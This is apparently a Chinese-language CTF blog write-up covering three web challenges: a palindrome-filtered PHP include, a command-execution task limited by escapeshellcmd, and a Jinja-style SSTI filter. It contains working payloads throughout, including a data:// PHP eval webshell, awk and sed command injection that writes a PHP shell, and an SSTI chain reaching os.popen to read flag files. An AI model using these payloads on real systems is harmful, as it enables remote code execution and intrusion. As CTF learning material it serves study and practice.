web签到

<?php

error_reporting(0);
highlight_file(__FILE__);

$file = $_POST['file'];

if(isset($file)){
    if(strrev($file)==$file){
        include $file;
    }

}

要求file反转后和原来一样

用data协议写入

file=data://text/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp/txet//:atad&1=system('cat /f1agaaa');

easyPHP

<?php

error_reporting(0);
highlight_file(__FILE__);

$cmd = $_POST['cmd'];
$param = $_POST['param'];

if(isset($cmd) && isset($param)){
    $cmd=escapeshellcmd(substr($cmd,0,3))." ".escapeshellarg($param)." ".__FILE__;
    shell_exec($cmd);
}
cmd=awk&param={system("ls / >a")}
cmd=awk&param={system("cat /f1agaaa >a")}

不过这个是非预期解

预期解的话用sed,不太看得懂

cmd=sed&param=/php\|POST\|exec/!dw1.php

这样就生成了1.php

最后查看可以发现内容为

<?php
$cmd = $_POST['cmd'];
$param = $_POST['param'];
    shell_exec($cmd);

然后就是常规的写马

cmd=echo "<?php eval(\$_POST[1]);?>">2.php

我按我的理解说一下payload

用到的sed的三个参数,!,d,w

d:删除某一行

!:表示后面的命令对所有没有被选定的行发生作用

w:会将匹配后的结果保存到指定文件中

所以首先匹配到了有php的那行,有post的那行和有exec的那行,然后将除了这几行外的内容全部删除,剩下的匹配的内容写入1.php


姻缘测试

def is_hacker(string):
    """整那些个花里胡哨的waf有啥用,还不如这一个,直接杜绝SSTI"""
    if "{" in string and "}" in string :
        return True
    else:
        return False    

不能同时出现{}

输入a和b

image-20220703143034616

所以这里需要分开执行

?boy_name={{'&girl_name='.__class__.__base__.__subclasses__()[81].__init__.__globals__.__import__('os').popen('cat%09/flag.txt').read()}}

想不通这里为啥分开也可以执行,好奇后端是咋写的

最后修改:2023 年 12 月 15 日
如果觉得我的文章对你有用,请随意赞赏